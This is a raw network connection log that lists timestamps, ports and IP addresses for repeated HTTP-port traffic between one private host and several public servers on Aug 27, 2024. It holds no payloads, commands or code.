Aug 27, 2024 07:59:22.989166021 CEST	80	49857	172.67.191.241	192.168.11.20
Aug 27, 2024 07:59:22.989526033 CEST	49857	80	192.168.11.20	172.67.191.241
Aug 27, 2024 07:59:22.991497993 CEST	49857	80	192.168.11.20	172.67.191.241
Aug 27, 2024 07:59:23.092014074 CEST	80	49857	172.67.191.241	192.168.11.20
Aug 27, 2024 07:59:28.106396914 CEST	49858	80	192.168.11.20	172.67.166.145
Aug 27, 2024 07:59:28.206969976 CEST	80	49858	172.67.166.145	192.168.11.20
Aug 27, 2024 07:59:28.207184076 CEST	49858	80	192.168.11.20	172.67.166.145
Aug 27, 2024 07:59:28.217051983 CEST	49858	80	192.168.11.20	172.67.166.145
Aug 27, 2024 07:59:28.317711115 CEST	80	49858	172.67.166.145	192.168.11.20
Aug 27, 2024 07:59:28.482920885 CEST	80	49858	172.67.166.145	192.168.11.20
Aug 27, 2024 07:59:28.482933998 CEST	80	49858	172.67.166.145	192.168.11.20
Aug 27, 2024 07:59:28.483072996 CEST	49858	80	192.168.11.20	172.67.166.145
Aug 27, 2024 07:59:28.483932018 CEST	80	49858	172.67.166.145	192.168.11.20
Aug 27, 2024 07:59:28.484055042 CEST	49858	80	192.168.11.20	172.67.166.145
Aug 27, 2024 07:59:29.732459068 CEST	49858	80	192.168.11.20	172.67.166.145
Aug 27, 2024 07:59:30.749953985 CEST	49859	80	192.168.11.20	172.67.166.145
Aug 27, 2024 07:59:30.851111889 CEST	80	49859	172.67.166.145	192.168.11.20
Aug 27, 2024 07:59:30.851330042 CEST	49859	80	192.168.11.20	172.67.166.145
Aug 27, 2024 07:59:30.858716965 CEST	49859	80	192.168.11.20	172.67.166.145
Aug 27, 2024 07:59:30.959625006 CEST	80	49859	172.67.166.145	192.168.11.20
Aug 27, 2024 07:59:31.128812075 CEST	80	49859	172.67.166.145	192.168.11.20
Aug 27, 2024 07:59:31.128827095 CEST	80	49859	172.67.166.145	192.168.11.20
Aug 27, 2024 07:59:31.128997087 CEST	49859	80	192.168.11.20	172.67.166.145
Aug 27, 2024 07:59:31.129313946 CEST	80	49859	172.67.166.145	192.168.11.20
Aug 27, 2024 07:59:31.129465103 CEST	49859	80	192.168.11.20	172.67.166.145
Aug 27, 2024 07:59:32.372498035 CEST	49859	80	192.168.11.20	172.67.166.145
Aug 27, 2024 07:59:33.390003920 CEST	49860	80	192.168.11.20	172.67.166.145
Aug 27, 2024 07:59:33.490771055 CEST	80	49860	172.67.166.145	192.168.11.20
Aug 27, 2024 07:59:33.491003990 CEST	49860	80	192.168.11.20	172.67.166.145
Aug 27, 2024 07:59:33.499574900 CEST	49860	80	192.168.11.20	172.67.166.145
Aug 27, 2024 07:59:33.499593973 CEST	49860	80	192.168.11.20	172.67.166.145
Aug 27, 2024 07:59:33.499641895 CEST	49860	80	192.168.11.20	172.67.166.145
Aug 27, 2024 07:59:33.600245953 CEST	80	49860	172.67.166.145	192.168.11.20
Aug 27, 2024 07:59:33.600332022 CEST	80	49860	172.67.166.145	192.168.11.20
Aug 27, 2024 07:59:33.600384951 CEST	80	49860	172.67.166.145	192.168.11.20
Aug 27, 2024 07:59:33.600502014 CEST	80	49860	172.67.166.145	192.168.11.20
Aug 27, 2024 07:59:33.600505114 CEST	49860	80	192.168.11.20	172.67.166.145
Aug 27, 2024 07:59:33.600656033 CEST	80	49860	172.67.166.145	192.168.11.20
Aug 27, 2024 07:59:33.600718975 CEST	49860	80	192.168.11.20	172.67.166.145
Aug 27, 2024 07:59:33.600753069 CEST	80	49860	172.67.166.145	192.168.11.20
Aug 27, 2024 07:59:33.600866079 CEST	80	49860	172.67.166.145	192.168.11.20
Aug 27, 2024 07:59:33.600874901 CEST	80	49860	172.67.166.145	192.168.11.20
Aug 27, 2024 07:59:33.600883007 CEST	80	49860	172.67.166.145	192.168.11.20
Aug 27, 2024 07:59:33.600891113 CEST	80	49860	172.67.166.145	192.168.11.20
Aug 27, 2024 07:59:33.601011992 CEST	49860	80	192.168.11.20	172.67.166.145
Aug 27, 2024 07:59:33.601186991 CEST	49860	80	192.168.11.20	172.67.166.145
Aug 27, 2024 07:59:33.701311111 CEST	80	49860	172.67.166.145	192.168.11.20
Aug 27, 2024 07:59:33.701409101 CEST	80	49860	172.67.166.145	192.168.11.20
Aug 27, 2024 07:59:33.701421022 CEST	80	49860	172.67.166.145	192.168.11.20
Aug 27, 2024 07:59:33.701494932 CEST	80	49860	172.67.166.145	192.168.11.20
Aug 27, 2024 07:59:33.701580048 CEST	49860	80	192.168.11.20	172.67.166.145
Aug 27, 2024 07:59:33.701615095 CEST	80	49860	172.67.166.145	192.168.11.20
Aug 27, 2024 07:59:33.701627016 CEST	80	49860	172.67.166.145	192.168.11.20
Aug 27, 2024 07:59:33.701711893 CEST	49860	80	192.168.11.20	172.67.166.145
Aug 27, 2024 07:59:33.701880932 CEST	49860	80	192.168.11.20	172.67.166.145
Aug 27, 2024 07:59:33.701911926 CEST	80	49860	172.67.166.145	192.168.11.20
Aug 27, 2024 07:59:33.701972008 CEST	80	49860	172.67.166.145	192.168.11.20
Aug 27, 2024 07:59:33.702105999 CEST	80	49860	172.67.166.145	192.168.11.20
Aug 27, 2024 07:59:33.702117920 CEST	80	49860	172.67.166.145	192.168.11.20
Aug 27, 2024 07:59:33.702214956 CEST	80	49860	172.67.166.145	192.168.11.20
Aug 27, 2024 07:59:33.702342033 CEST	80	49860	172.67.166.145	192.168.11.20
Aug 27, 2024 07:59:33.702351093 CEST	80	49860	172.67.166.145	192.168.11.20
Aug 27, 2024 07:59:33.702395916 CEST	80	49860	172.67.166.145	192.168.11.20
Aug 27, 2024 07:59:33.702404976 CEST	80	49860	172.67.166.145	192.168.11.20
Aug 27, 2024 07:59:33.702413082 CEST	80	49860	172.67.166.145	192.168.11.20
Aug 27, 2024 07:59:33.702423096 CEST	80	49860	172.67.166.145	192.168.11.20
Aug 27, 2024 07:59:33.702461958 CEST	80	49860	172.67.166.145	192.168.11.20
Aug 27, 2024 07:59:33.702471018 CEST	80	49860	172.67.166.145	192.168.11.20
Aug 27, 2024 07:59:33.702584982 CEST	80	49860	172.67.166.145	192.168.11.20
Aug 27, 2024 07:59:33.802249908 CEST	80	49860	172.67.166.145	192.168.11.20
Aug 27, 2024 07:59:33.802376032 CEST	80	49860	172.67.166.145	192.168.11.20
Aug 27, 2024 07:59:33.802505970 CEST	80	49860	172.67.166.145	192.168.11.20
Aug 27, 2024 07:59:33.802608013 CEST	80	49860	172.67.166.145	192.168.11.20
Aug 27, 2024 07:59:33.802624941 CEST	80	49860	172.67.166.145	192.168.11.20
Aug 27, 2024 07:59:33.802639961 CEST	80	49860	172.67.166.145	192.168.11.20
Aug 27, 2024 07:59:33.802751064 CEST	80	49860	172.67.166.145	192.168.11.20
Aug 27, 2024 07:59:33.802851915 CEST	80	49860	172.67.166.145	192.168.11.20
Aug 27, 2024 07:59:33.802974939 CEST	80	49860	172.67.166.145	192.168.11.20
Aug 27, 2024 07:59:33.803092957 CEST	80	49860	172.67.166.145	192.168.11.20
Aug 27, 2024 07:59:33.944830894 CEST	80	49860	172.67.166.145	192.168.11.20
Aug 27, 2024 07:59:33.944861889 CEST	80	49860	172.67.166.145	192.168.11.20
Aug 27, 2024 07:59:33.944869041 CEST	80	49860	172.67.166.145	192.168.11.20
Aug 27, 2024 07:59:33.945009947 CEST	49860	80	192.168.11.20	172.67.166.145
Aug 27, 2024 07:59:33.945275068 CEST	80	49860	172.67.166.145	192.168.11.20
Aug 27, 2024 07:59:34.045703888 CEST	80	49860	172.67.166.145	192.168.11.20
Aug 27, 2024 07:59:36.030076027 CEST	49861	80	192.168.11.20	172.67.166.145
Aug 27, 2024 07:59:36.130594969 CEST	80	49861	172.67.166.145	192.168.11.20
Aug 27, 2024 07:59:36.130783081 CEST	49861	80	192.168.11.20	172.67.166.145
Aug 27, 2024 07:59:36.135802031 CEST	49861	80	192.168.11.20	172.67.166.145
Aug 27, 2024 07:59:36.236243963 CEST	80	49861	172.67.166.145	192.168.11.20
Aug 27, 2024 07:59:36.398654938 CEST	80	49861	172.67.166.145	192.168.11.20
Aug 27, 2024 07:59:36.398694992 CEST	80	49861	172.67.166.145	192.168.11.20
Aug 27, 2024 07:59:36.398852110 CEST	80	49861	172.67.166.145	192.168.11.20
Aug 27, 2024 07:59:36.398910046 CEST	49861	80	192.168.11.20	172.67.166.145
Aug 27, 2024 07:59:36.399033070 CEST	49861	80	192.168.11.20	172.67.166.145
Aug 27, 2024 07:59:36.401957989 CEST	49861	80	192.168.11.20	172.67.166.145
Aug 27, 2024 07:59:36.502376080 CEST	80	49861	172.67.166.145	192.168.11.20
Aug 27, 2024 07:59:41.596092939 CEST	49862	80	192.168.11.20	203.161.46.205
Aug 27, 2024 07:59:41.764822006 CEST	80	49862	203.161.46.205	192.168.11.20
Aug 27, 2024 07:59:41.765037060 CEST	49862	80	192.168.11.20	203.161.46.205
Aug 27, 2024 07:59:41.772563934 CEST	49862	80	192.168.11.20	203.161.46.205
Aug 27, 2024 07:59:41.939630985 CEST	80	49862	203.161.46.205	192.168.11.20
Aug 27, 2024 07:59:41.945604086 CEST	80	49862	203.161.46.205	192.168.11.20
Aug 27, 2024 07:59:41.945714951 CEST	80	49862	203.161.46.205	192.168.11.20
Aug 27, 2024 07:59:41.945729017 CEST	80	49862	203.161.46.205	192.168.11.20
Aug 27, 2024 07:59:41.945848942 CEST	80	49862	203.161.46.205	192.168.11.20
Aug 27, 2024 07:59:41.945928097 CEST	49862	80	192.168.11.20	203.161.46.205
Aug 27, 2024 07:59:41.945971966 CEST	80	49862	203.161.46.205	192.168.11.20
Aug 27, 2024 07:59:41.945986986 CEST	80	49862	203.161.46.205	192.168.11.20
Aug 27, 2024 07:59:41.946098089 CEST	49862	80	192.168.11.20	203.161.46.205
Aug 27, 2024 07:59:41.946141958 CEST	80	49862	203.161.46.205	192.168.11.20
Aug 27, 2024 07:59:41.946156025 CEST	80	49862	203.161.46.205	192.168.11.20
Aug 27, 2024 07:59:41.946167946 CEST	80	49862	203.161.46.205	192.168.11.20
Aug 27, 2024 07:59:41.946178913 CEST	80	49862	203.161.46.205	192.168.11.20
Aug 27, 2024 07:59:41.946264982 CEST	49862	80	192.168.11.20	203.161.46.205
Aug 27, 2024 07:59:41.946410894 CEST	49862	80	192.168.11.20	203.161.46.205
Aug 27, 2024 07:59:42.112746000 CEST	80	49862	203.161.46.205	192.168.11.20
Aug 27, 2024 07:59:42.112838030 CEST	80	49862	203.161.46.205	192.168.11.20
Aug 27, 2024 07:59:42.112947941 CEST	80	49862	203.161.46.205	192.168.11.20
Aug 27, 2024 07:59:42.113074064 CEST	49862	80	192.168.11.20	203.161.46.205
Aug 27, 2024 07:59:42.113280058 CEST	49862	80	192.168.11.20	203.161.46.205
Aug 27, 2024 07:59:43.276381016 CEST	49862	80	192.168.11.20	203.161.46.205
Aug 27, 2024 07:59:44.293756962 CEST	49863	80	192.168.11.20	203.161.46.205
Aug 27, 2024 07:59:44.459165096 CEST	80	49863	203.161.46.205	192.168.11.20
Aug 27, 2024 07:59:44.459386110 CEST	49863	80	192.168.11.20	203.161.46.205
Aug 27, 2024 07:59:44.466876030 CEST	49863	80	192.168.11.20	203.161.46.205
Aug 27, 2024 07:59:44.632272005 CEST	80	49863	203.161.46.205	192.168.11.20
Aug 27, 2024 07:59:44.637384892 CEST	80	49863	203.161.46.205	192.168.11.20
Aug 27, 2024 07:59:44.637492895 CEST	80	49863	203.161.46.205	192.168.11.20
Aug 27, 2024 07:59:44.637506962 CEST	80	49863	203.161.46.205	192.168.11.20
Aug 27, 2024 07:59:44.637622118 CEST	80	49863	203.161.46.205	192.168.11.20
Aug 27, 2024 07:59:44.637737036 CEST	49863	80	192.168.11.20	203.161.46.205
Aug 27, 2024 07:59:44.637743950 CEST	80	49863	203.161.46.205	192.168.11.20
Aug 27, 2024 07:59:44.637758970 CEST	80	49863	203.161.46.205	192.168.11.20
Aug 27, 2024 07:59:44.637769938 CEST	80	49863	203.161.46.205	192.168.11.20
Aug 27, 2024 07:59:44.637782097 CEST	80	49863	203.161.46.205	192.168.11.20
Aug 27, 2024 07:59:44.637875080 CEST	80	49863	203.161.46.205	192.168.11.20
Aug 27, 2024 07:59:44.637907028 CEST	49863	80	192.168.11.20	203.161.46.205
Aug 27, 2024 07:59:44.637975931 CEST	80	49863	203.161.46.205	192.168.11.20
Aug 27, 2024 07:59:44.638077021 CEST	49863	80	192.168.11.20	203.161.46.205
Aug 27, 2024 07:59:44.638077021 CEST	49863	80	192.168.11.20	203.161.46.205
Aug 27, 2024 07:59:44.638221979 CEST	49863	80	192.168.11.20	203.161.46.205
Aug 27, 2024 07:59:44.803483009 CEST	80	49863	203.161.46.205	192.168.11.20
Aug 27, 2024 07:59:44.803580046 CEST	80	49863	203.161.46.205	192.168.11.20
Aug 27, 2024 07:59:44.803594112 CEST	80	49863	203.161.46.205	192.168.11.20
Aug 27, 2024 07:59:44.803824902 CEST	49863	80	192.168.11.20	203.161.46.205
Aug 27, 2024 07:59:44.803824902 CEST	49863	80	192.168.11.20	203.161.46.205
Aug 27, 2024 07:59:45.978878021 CEST	49863	80	192.168.11.20	203.161.46.205
Aug 27, 2024 07:59:46.996222019 CEST	49864	80	192.168.11.20	203.161.46.205
Aug 27, 2024 07:59:47.163563967 CEST	80	49864	203.161.46.205	192.168.11.20
Aug 27, 2024 07:59:47.163716078 CEST	49864	80	192.168.11.20	203.161.46.205
Aug 27, 2024 07:59:47.172384024 CEST	49864	80	192.168.11.20	203.161.46.205
Aug 27, 2024 07:59:47.172410011 CEST	49864	80	192.168.11.20	203.161.46.205
Aug 27, 2024 07:59:47.172470093 CEST	49864	80	192.168.11.20	203.161.46.205
Aug 27, 2024 07:59:47.339685917 CEST	80	49864	203.161.46.205	192.168.11.20
Aug 27, 2024 07:59:47.339852095 CEST	80	49864	203.161.46.205	192.168.11.20
Aug 27, 2024 07:59:47.339867115 CEST	49864	80	192.168.11.20	203.161.46.205
Aug 27, 2024 07:59:47.339916945 CEST	49864	80	192.168.11.20	203.161.46.205
Aug 27, 2024 07:59:47.340003967 CEST	80	49864	203.161.46.205	192.168.11.20
Aug 27, 2024 07:59:47.340069056 CEST	80	49864	203.161.46.205	192.168.11.20
Aug 27, 2024 07:59:47.340214014 CEST	49864	80	192.168.11.20	203.161.46.205
Aug 27, 2024 07:59:47.340349913 CEST	80	49864	203.161.46.205	192.168.11.20
Aug 27, 2024 07:59:47.340370893 CEST	49864	80	192.168.11.20	203.161.46.205
Aug 27, 2024 07:59:47.340621948 CEST	49864	80	192.168.11.20	203.161.46.205
Aug 27, 2024 07:59:47.340764999 CEST	49864	80	192.168.11.20	203.161.46.205
Aug 27, 2024 07:59:47.340811968 CEST	49864	80	192.168.11.20	203.161.46.205
Aug 27, 2024 07:59:47.341533899 CEST	80	49864	203.161.46.205	192.168.11.20
Aug 27, 2024 07:59:47.341774940 CEST	49864	80	192.168.11.20	203.161.46.205
Aug 27, 2024 07:59:47.341833115 CEST	49864	80	192.168.11.20	203.161.46.205
Aug 27, 2024 07:59:47.507153034 CEST	80	49864	203.161.46.205	192.168.11.20
Aug 27, 2024 07:59:47.507251024 CEST	80	49864	203.161.46.205	192.168.11.20
Aug 27, 2024 07:59:47.507309914 CEST	49864	80	192.168.11.20	203.161.46.205
Aug 27, 2024 07:59:47.507328033 CEST	49864	80	192.168.11.20	203.161.46.205
Aug 27, 2024 07:59:47.507334948 CEST	80	49864	203.161.46.205	192.168.11.20
Aug 27, 2024 07:59:47.507344961 CEST	80	49864	203.161.46.205	192.168.11.20
Aug 27, 2024 07:59:47.507457018 CEST	80	49864	203.161.46.205	192.168.11.20
Aug 27, 2024 07:59:47.507464886 CEST	80	49864	203.161.46.205	192.168.11.20
Aug 27, 2024 07:59:47.507558107 CEST	49864	80	192.168.11.20	203.161.46.205
Aug 27, 2024 07:59:47.507581949 CEST	80	49864	203.161.46.205	192.168.11.20
Aug 27, 2024 07:59:47.507728100 CEST	49864	80	192.168.11.20	203.161.46.205
Aug 27, 2024 07:59:47.507841110 CEST	80	49864	203.161.46.205	192.168.11.20
Aug 27, 2024 07:59:47.509041071 CEST	80	49864	203.161.46.205	192.168.11.20
Aug 27, 2024 07:59:47.509111881 CEST	80	49864	203.161.46.205	192.168.11.20
Aug 27, 2024 07:59:47.509387970 CEST	80	49864	203.161.46.205	192.168.11.20
Aug 27, 2024 07:59:47.509514093 CEST	80	49864	203.161.46.205	192.168.11.20
Aug 27, 2024 07:59:47.509607077 CEST	80	49864	203.161.46.205	192.168.11.20
Aug 27, 2024 07:59:47.674235106 CEST	80	49864	203.161.46.205	192.168.11.20
Aug 27, 2024 07:59:47.674299955 CEST	80	49864	203.161.46.205	192.168.11.20
Aug 27, 2024 07:59:47.674628019 CEST	80	49864	203.161.46.205	192.168.11.20
Aug 27, 2024 07:59:47.675308943 CEST	80	49864	203.161.46.205	192.168.11.20
Aug 27, 2024 07:59:47.675421000 CEST	80	49864	203.161.46.205	192.168.11.20
Aug 27, 2024 07:59:47.696114063 CEST	80	49864	203.161.46.205	192.168.11.20
Aug 27, 2024 07:59:47.696223974 CEST	80	49864	203.161.46.205	192.168.11.20
Aug 27, 2024 07:59:47.696338892 CEST	80	49864	203.161.46.205	192.168.11.20
Aug 27, 2024 07:59:47.696418047 CEST	80	49864	203.161.46.205	192.168.11.20
Aug 27, 2024 07:59:47.696423054 CEST	49864	80	192.168.11.20	203.161.46.205
Aug 27, 2024 07:59:47.696470976 CEST	80	49864	203.161.46.205	192.168.11.20
Aug 27, 2024 07:59:47.696544886 CEST	80	49864	203.161.46.205	192.168.11.20
Aug 27, 2024 07:59:47.696592093 CEST	80	49864	203.161.46.205	192.168.11.20
Aug 27, 2024 07:59:47.696641922 CEST	49864	80	192.168.11.20	203.161.46.205
Aug 27, 2024 07:59:47.696744919 CEST	80	49864	203.161.46.205	192.168.11.20
Aug 27, 2024 07:59:47.696757078 CEST	80	49864	203.161.46.205	192.168.11.20
Aug 27, 2024 07:59:47.696768999 CEST	80	49864	203.161.46.205	192.168.11.20
Aug 27, 2024 07:59:47.696811914 CEST	49864	80	192.168.11.20	203.161.46.205
Aug 27, 2024 07:59:47.696981907 CEST	49864	80	192.168.11.20	203.161.46.205
Aug 27, 2024 07:59:47.863081932 CEST	80	49864	203.161.46.205	192.168.11.20
Aug 27, 2024 07:59:47.863151073 CEST	80	49864	203.161.46.205	192.168.11.20
Aug 27, 2024 07:59:47.863209963 CEST	80	49864	203.161.46.205	192.168.11.20
Aug 27, 2024 07:59:47.863420010 CEST	49864	80	192.168.11.20	203.161.46.205
Aug 27, 2024 07:59:48.681392908 CEST	49864	80	192.168.11.20	203.161.46.205
Aug 27, 2024 07:59:49.698807001 CEST	49865	80	192.168.11.20	203.161.46.205
Aug 27, 2024 07:59:49.863789082 CEST	80	49865	203.161.46.205	192.168.11.20
Aug 27, 2024 07:59:49.864067078 CEST	49865	80	192.168.11.20	203.161.46.205
Aug 27, 2024 07:59:49.869117975 CEST	49865	80	192.168.11.20	203.161.46.205
Aug 27, 2024 07:59:50.034383059 CEST	80	49865	203.161.46.205	192.168.11.20
Aug 27, 2024 07:59:50.039510012 CEST	80	49865	203.161.46.205	192.168.11.20
Aug 27, 2024 07:59:50.039612055 CEST	80	49865	203.161.46.205	192.168.11.20
Aug 27, 2024 07:59:50.039664984 CEST	80	49865	203.161.46.205	192.168.11.20
Aug 27, 2024 07:59:50.039678097 CEST	80	49865	203.161.46.205	192.168.11.20
Aug 27, 2024 07:59:50.039736986 CEST	80	49865	203.161.46.205	192.168.11.20
Aug 27, 2024 07:59:50.039794922 CEST	80	49865	203.161.46.205	192.168.11.20
Aug 27, 2024 07:59:50.039856911 CEST	49865	80	192.168.11.20	203.161.46.205
Aug 27, 2024 07:59:50.039856911 CEST	49865	80	192.168.11.20	203.161.46.205
Aug 27, 2024 07:59:50.039869070 CEST	80	49865	203.161.46.205	192.168.11.20
Aug 27, 2024 07:59:50.039983988 CEST	80	49865	203.161.46.205	192.168.11.20
Aug 27, 2024 07:59:50.040025949 CEST	49865	80	192.168.11.20	203.161.46.205
Aug 27, 2024 07:59:50.040133953 CEST	80	49865	203.161.46.205	192.168.11.20
Aug 27, 2024 07:59:50.040146112 CEST	80	49865	203.161.46.205	192.168.11.20
Aug 27, 2024 07:59:50.040195942 CEST	49865	80	192.168.11.20	203.161.46.205
Aug 27, 2024 07:59:50.040365934 CEST	49865	80	192.168.11.20	203.161.46.205
Aug 27, 2024 07:59:50.204965115 CEST	80	49865	203.161.46.205	192.168.11.20
Aug 27, 2024 07:59:50.205056906 CEST	80	49865	203.161.46.205	192.168.11.20
Aug 27, 2024 07:59:50.205108881 CEST	80	49865	203.161.46.205	192.168.11.20
Aug 27, 2024 07:59:50.205301046 CEST	49865	80	192.168.11.20	203.161.46.205
Aug 27, 2024 07:59:50.205301046 CEST	49865	80	192.168.11.20	203.161.46.205
Aug 27, 2024 07:59:50.208338022 CEST	49865	80	192.168.11.20	203.161.46.205
Aug 27, 2024 07:59:50.373168945 CEST	80	49865	203.161.46.205	192.168.11.20
Aug 27, 2024 07:59:55.554241896 CEST	49866	80	192.168.11.20	18.183.3.45
Aug 27, 2024 07:59:55.823436975 CEST	80	49866	18.183.3.45	192.168.11.20
Aug 27, 2024 07:59:55.823581934 CEST	49866	80	192.168.11.20	18.183.3.45
Aug 27, 2024 07:59:55.831015110 CEST	49866	80	192.168.11.20	18.183.3.45
Aug 27, 2024 07:59:56.100119114 CEST	80	49866	18.183.3.45	192.168.11.20
Aug 27, 2024 07:59:56.100285053 CEST	80	49866	18.183.3.45	192.168.11.20
Aug 27, 2024 07:59:56.100389957 CEST	80	49866	18.183.3.45	192.168.11.20
Aug 27, 2024 07:59:56.100444078 CEST	80	49866	18.183.3.45	192.168.11.20
Aug 27, 2024 07:59:56.100456953 CEST	80	49866	18.183.3.45	192.168.11.20
Aug 27, 2024 07:59:56.100694895 CEST	49866	80	192.168.11.20	18.183.3.45
Aug 27, 2024 07:59:57.335719109 CEST	49866	80	192.168.11.20	18.183.3.45
Aug 27, 2024 07:59:58.353111982 CEST	49867	80	192.168.11.20	18.183.3.45
Aug 27, 2024 07:59:58.617389917 CEST	80	49867	18.183.3.45	192.168.11.20
Aug 27, 2024 07:59:58.617594004 CEST	49867	80	192.168.11.20	18.183.3.45
Aug 27, 2024 07:59:58.625627041 CEST	49867	80	192.168.11.20	18.183.3.45
Aug 27, 2024 07:59:58.889401913 CEST	80	49867	18.183.3.45	192.168.11.20
Aug 27, 2024 07:59:58.889554977 CEST	80	49867	18.183.3.45	192.168.11.20
Aug 27, 2024 07:59:58.889676094 CEST	80	49867	18.183.3.45	192.168.11.20
Aug 27, 2024 07:59:58.889725924 CEST	80	49867	18.183.3.45	192.168.11.20
Aug 27, 2024 07:59:58.889777899 CEST	80	49867	18.183.3.45	192.168.11.20
Aug 27, 2024 07:59:58.889889956 CEST	49867	80	192.168.11.20	18.183.3.45
Aug 27, 2024 07:59:58.889940977 CEST	49867	80	192.168.11.20	18.183.3.45
Aug 27, 2024 08:00:00.132023096 CEST	49867	80	192.168.11.20	18.183.3.45
Aug 27, 2024 08:00:01.149362087 CEST	49868	80	192.168.11.20	18.183.3.45
Aug 27, 2024 08:00:01.412264109 CEST	80	49868	18.183.3.45	192.168.11.20
Aug 27, 2024 08:00:01.412522078 CEST	49868	80	192.168.11.20	18.183.3.45
Aug 27, 2024 08:00:01.421161890 CEST	49868	80	192.168.11.20	18.183.3.45
Aug 27, 2024 08:00:01.421211004 CEST	49868	80	192.168.11.20	18.183.3.45
Aug 27, 2024 08:00:01.421263933 CEST	49868	80	192.168.11.20	18.183.3.45
Aug 27, 2024 08:00:01.684117079 CEST	80	49868	18.183.3.45	192.168.11.20
Aug 27, 2024 08:00:01.684240103 CEST	80	49868	18.183.3.45	192.168.11.20
Aug 27, 2024 08:00:01.684253931 CEST	80	49868	18.183.3.45	192.168.11.20
Aug 27, 2024 08:00:01.684263945 CEST	80	49868	18.183.3.45	192.168.11.20
Aug 27, 2024 08:00:01.684339046 CEST	80	49868	18.183.3.45	192.168.11.20
Aug 27, 2024 08:00:01.684344053 CEST	49868	80	192.168.11.20	18.183.3.45
Aug 27, 2024 08:00:01.684438944 CEST	49868	80	192.168.11.20	18.183.3.45
Aug 27, 2024 08:00:01.684490919 CEST	80	49868	18.183.3.45	192.168.11.20
Aug 27, 2024 08:00:01.684612036 CEST	49868	80	192.168.11.20	18.183.3.45
Aug 27, 2024 08:00:01.684644938 CEST	80	49868	18.183.3.45	192.168.11.20
Aug 27, 2024 08:00:01.684659004 CEST	80	49868	18.183.3.45	192.168.11.20
Aug 27, 2024 08:00:01.684668064 CEST	80	49868	18.183.3.45	192.168.11.20
Aug 27, 2024 08:00:01.684779882 CEST	49868	80	192.168.11.20	18.183.3.45
Aug 27, 2024 08:00:01.684779882 CEST	49868	80	192.168.11.20	18.183.3.45
Aug 27, 2024 08:00:01.684948921 CEST	49868	80	192.168.11.20	18.183.3.45
Aug 27, 2024 08:00:01.724699020 CEST	80	49868	18.183.3.45	192.168.11.20
Aug 27, 2024 08:00:01.724869013 CEST	49868	80	192.168.11.20	18.183.3.45
Aug 27, 2024 08:00:01.947468042 CEST	80	49868	18.183.3.45	192.168.11.20
Aug 27, 2024 08:00:01.947516918 CEST	80	49868	18.183.3.45	192.168.11.20
Aug 27, 2024 08:00:01.947527885 CEST	80	49868	18.183.3.45	192.168.11.20
Aug 27, 2024 08:00:01.947633028 CEST	80	49868	18.183.3.45	192.168.11.20
Aug 27, 2024 08:00:01.947644949 CEST	49868	80	192.168.11.20	18.183.3.45
Aug 27, 2024 08:00:01.947695971 CEST	49868	80	192.168.11.20	18.183.3.45
Aug 27, 2024 08:00:01.947742939 CEST	49868	80	192.168.11.20	18.183.3.45
Aug 27, 2024 08:00:01.947788000 CEST	80	49868	18.183.3.45	192.168.11.20
Aug 27, 2024 08:00:01.947896004 CEST	80	49868	18.183.3.45	192.168.11.20
Aug 27, 2024 08:00:01.947913885 CEST	49868	80	192.168.11.20	18.183.3.45
Aug 27, 2024 08:00:01.948146105 CEST	80	49868	18.183.3.45	192.168.11.20
Aug 27, 2024 08:00:01.948157072 CEST	80	49868	18.183.3.45	192.168.11.20
Aug 27, 2024 08:00:01.948385954 CEST	80	49868	18.183.3.45	192.168.11.20
Aug 27, 2024 08:00:01.987827063 CEST	80	49868	18.183.3.45	192.168.11.20
Aug 27, 2024 08:00:02.210742950 CEST	80	49868	18.183.3.45	192.168.11.20
Aug 27, 2024 08:00:02.210810900 CEST	80	49868	18.183.3.45	192.168.11.20
Aug 27, 2024 08:00:02.211281061 CEST	80	49868	18.183.3.45	192.168.11.20
Aug 27, 2024 08:00:02.211395979 CEST	80	49868	18.183.3.45	192.168.11.20
Aug 27, 2024 08:00:02.211452007 CEST	80	49868	18.183.3.45	192.168.11.20
Aug 27, 2024 08:00:02.211636066 CEST	49868	80	192.168.11.20	18.183.3.45
Aug 27, 2024 08:00:02.928246975 CEST	49868	80	192.168.11.20	18.183.3.45
Aug 27, 2024 08:00:03.947495937 CEST	49869	80	192.168.11.20	18.183.3.45
Aug 27, 2024 08:00:04.213807106 CEST	80	49869	18.183.3.45	192.168.11.20
Aug 27, 2024 08:00:04.213943005 CEST	49869	80	192.168.11.20	18.183.3.45
Aug 27, 2024 08:00:04.218980074 CEST	49869	80	192.168.11.20	18.183.3.45
Aug 27, 2024 08:00:04.485192060 CEST	80	49869	18.183.3.45	192.168.11.20
Aug 27, 2024 08:00:04.485450029 CEST	80	49869	18.183.3.45	192.168.11.20
Aug 27, 2024 08:00:04.485575914 CEST	80	49869	18.183.3.45	192.168.11.20
Aug 27, 2024 08:00:04.485625982 CEST	80	49869	18.183.3.45	192.168.11.20
Aug 27, 2024 08:00:04.485639095 CEST	80	49869	18.183.3.45	192.168.11.20
Aug 27, 2024 08:00:04.485788107 CEST	49869	80	192.168.11.20	18.183.3.45
Aug 27, 2024 08:00:04.485788107 CEST	49869	80	192.168.11.20	18.183.3.45
Aug 27, 2024 08:00:04.488868952 CEST	49869	80	192.168.11.20	18.183.3.45
Aug 27, 2024 08:00:04.755017996 CEST	80	49869	18.183.3.45	192.168.11.20
Aug 27, 2024 08:00:09.611821890 CEST	49870	80	192.168.11.20	154.23.184.207
Aug 27, 2024 08:00:09.920254946 CEST	80	49870	154.23.184.207	192.168.11.20
Aug 27, 2024 08:00:09.920525074 CEST	49870	80	192.168.11.20	154.23.184.207
Aug 27, 2024 08:00:09.928021908 CEST	49870	80	192.168.11.20	154.23.184.207
Aug 27, 2024 08:00:10.236814976 CEST	80	49870	154.23.184.207	192.168.11.20
Aug 27, 2024 08:00:10.236835957 CEST	80	49870	154.23.184.207	192.168.11.20
Aug 27, 2024 08:00:10.236932039 CEST	49870	80	192.168.11.20	154.23.184.207
Aug 27, 2024 08:00:11.442001104 CEST	49870	80	192.168.11.20	154.23.184.207
Aug 27, 2024 08:00:12.459359884 CEST	49871	80	192.168.11.20	154.23.184.207
Aug 27, 2024 08:00:12.760978937 CEST	80	49871	154.23.184.207	192.168.11.20
Aug 27, 2024 08:00:12.761133909 CEST	49871	80	192.168.11.20	154.23.184.207
Aug 27, 2024 08:00:12.768650055 CEST	49871	80	192.168.11.20	154.23.184.207
Aug 27, 2024 08:00:13.070926905 CEST	80	49871	154.23.184.207	192.168.11.20
Aug 27, 2024 08:00:13.070954084 CEST	80	49871	154.23.184.207	192.168.11.20
Aug 27, 2024 08:00:13.071084023 CEST	49871	80	192.168.11.20	154.23.184.207
Aug 27, 2024 08:00:14.269567966 CEST	49871	80	192.168.11.20	154.23.184.207
